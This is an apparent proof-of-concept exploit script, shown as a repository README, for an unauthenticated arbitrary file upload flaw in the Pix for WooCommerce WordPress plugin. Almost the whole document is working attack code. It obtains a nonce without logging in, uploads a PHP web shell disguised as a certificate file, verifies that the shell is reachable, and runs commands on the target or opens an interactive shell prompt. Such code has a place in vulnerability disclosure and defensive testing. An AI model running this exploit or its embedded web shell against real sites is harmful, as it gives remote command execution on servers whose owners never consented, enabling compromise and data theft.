README.md
Rendering markdown...
#!/usr/bin/env python3
# CVE-2026-3891 — Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload
# Affected: payment-gateway-pix-for-woocommerce <= 1.5.0
# Impact: Unauthenticated attacker can upload arbitrary files (e.g. PHP webshells) to the server
# Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
# Repo: https://github.com/joshuavanderpoll/CVE-2026-3891
import argparse
import json
import os
import sys
import tempfile
import warnings
import requests
warnings.filterwarnings("ignore")
RESET = "\033[0m"
BOLD = "\033[1m"
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
PINK = "\033[95m"
CYAN = "\033[96m"
REPO = "https://github.com/joshuavanderpoll/CVE-2026-3891"
SHELL_NAME = "shell.php"
SHELL_PATH = f"wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/{SHELL_NAME}"
parser = argparse.ArgumentParser(description="CVE-2026-3891 PoC")
parser.add_argument("--url", required=True, help="Target WordPress base URL (e.g. https://target.com)")
parser.add_argument("--command", default=None, help="Command to run on target after upload (e.g. whoami)")
parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds (default: 10)")
parser.add_argument("--useragent", default=f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-3891; +{REPO})", help="Custom User-Agent")
args = parser.parse_args()
BASE_URL = args.url.rstrip("/")
TIMEOUT = args.timeout
UA = args.useragent
session = requests.Session()
session.verify = False
session.headers.update({"User-Agent": UA})
def info(msg): print(f" {CYAN}[*]{RESET} {msg}")
def success(msg): print(f" {GREEN}[+]{RESET} {msg}")
def error(msg): print(f" {RED}[-]{RESET} {msg}")
def process(msg): print(f" {BLUE}[@]{RESET} {msg}")
def banner():
print(f"\n{PINK}{BOLD}")
print(r" _____ _____ ___ __ ___ __ ____ ___ ___ _ ")
print(r" / __\ \ / / __|_|_ ) \_ )/ / __|__ /( _ ) _ \/ |")
print(r" | (__ \ V /| _|___/ / () / // _ \___|_ \/ _ \_, /| |")
print(r" \___| \_/ |___| /___\__/___\___/ |___/\___//_/ |_|")
print(f"{RESET}")
print(f" {PINK}{BOLD}{REPO}{RESET}\n")
def get_nonce():
process("Fetching nonce ...")
r = session.post(
f"{BASE_URL}/wp-admin/admin-ajax.php",
data={
"action": "lkn_pix_for_woocommerce_generate_nonce",
"action_name": "lkn_pix_for_woocommerce_c6_settings_nonce",
},
timeout=TIMEOUT,
)
try:
data = r.json()
except Exception:
error(f"Non-JSON nonce response: {r.text}")
sys.exit(1)
if not isinstance(data, dict) or not data.get("success"):
error(f"Nonce request failed: {data}")
sys.exit(1)
nonce = data["data"]["nonce"]
success(f"Nonce : {YELLOW}{nonce}{RESET}")
return nonce
def upload_shell(nonce):
process(f"Uploading {SHELL_NAME} ...")
shell_code = b"<?php if(isset($_REQUEST[0])){echo shell_exec($_REQUEST[0]);}?>"
with tempfile.NamedTemporaryFile(suffix=".php", delete=False) as tmp:
tmp.write(shell_code)
tmp_path = tmp.name
try:
data = {
"action": "lkn_pix_for_woocommerce_c6_save_settings",
"_ajax_nonce": nonce,
"settings": json.dumps({"enabled": "yes", "title": "PIX C6", "pix_expiration_minutes": 30}),
}
with open(tmp_path, "rb") as f:
files = {
"certificate_crt_path": (SHELL_NAME, f, "application/octet-stream"),
}
r = session.post(
f"{BASE_URL}/wp-admin/admin-ajax.php",
data=data,
files=files,
timeout=TIMEOUT,
)
finally:
os.unlink(tmp_path)
try:
resp = r.json()
except Exception:
error(f"Unexpected response: {r.text}")
sys.exit(1)
if not resp.get("success"):
error(f"Upload failed: {resp}")
sys.exit(1)
shell_url = f"{BASE_URL}/{SHELL_PATH}"
success(f"Shell uploaded!")
success(f"Remote path : {YELLOW}{SHELL_PATH}{RESET}")
success(f"Shell URL : {YELLOW}{shell_url}{RESET}")
return shell_url
def verify_shell(url):
process("Verifying shell is accessible ...")
r = session.get(url, timeout=TIMEOUT)
if r.status_code == 200:
success(f"Shell is accessible! HTTP {r.status_code}")
return True
error(f"Shell returned HTTP {r.status_code} — may not be directly accessible")
return False
def run_command(shell_url, command):
process(f"Running: {YELLOW}{command}{RESET}")
r = session.get(shell_url, params={"0": command}, timeout=TIMEOUT)
if r.status_code != 200 or not r.text.strip():
error(f"No output returned (HTTP {r.status_code})")
return
print()
print(f" {BOLD}{'─' * 60}{RESET}")
print(f" {GREEN}{r.text.strip()}{RESET}")
print(f" {BOLD}{'─' * 60}{RESET}")
print()
def interactive_shell(shell_url):
"""Drop into a simple interactive prompt if no --command was given."""
info(f"Dropping into interactive shell. Type {YELLOW}exit{RESET} to quit.\n")
while True:
try:
cmd = input(f" {PINK}shell{RESET}> ").strip()
except (KeyboardInterrupt, EOFError):
print()
break
if not cmd:
continue
if cmd.lower() in ("exit", "quit"):
break
run_command(shell_url, cmd)
def main():
banner()
info(f"Target : {YELLOW}{BASE_URL}{RESET}")
info(f"Timeout : {YELLOW}{TIMEOUT}s{RESET}")
print()
nonce = get_nonce()
print()
shell_url = upload_shell(nonce)
print()
if not verify_shell(shell_url):
sys.exit(1)
print()
if args.command:
run_command(shell_url, args.command)
else:
interactive_shell(shell_url)
print(f" {YELLOW}⭐ If this tool helped you, consider starring the repo: {BOLD}{REPO}{RESET}\n")
if __name__ == "__main__":
main()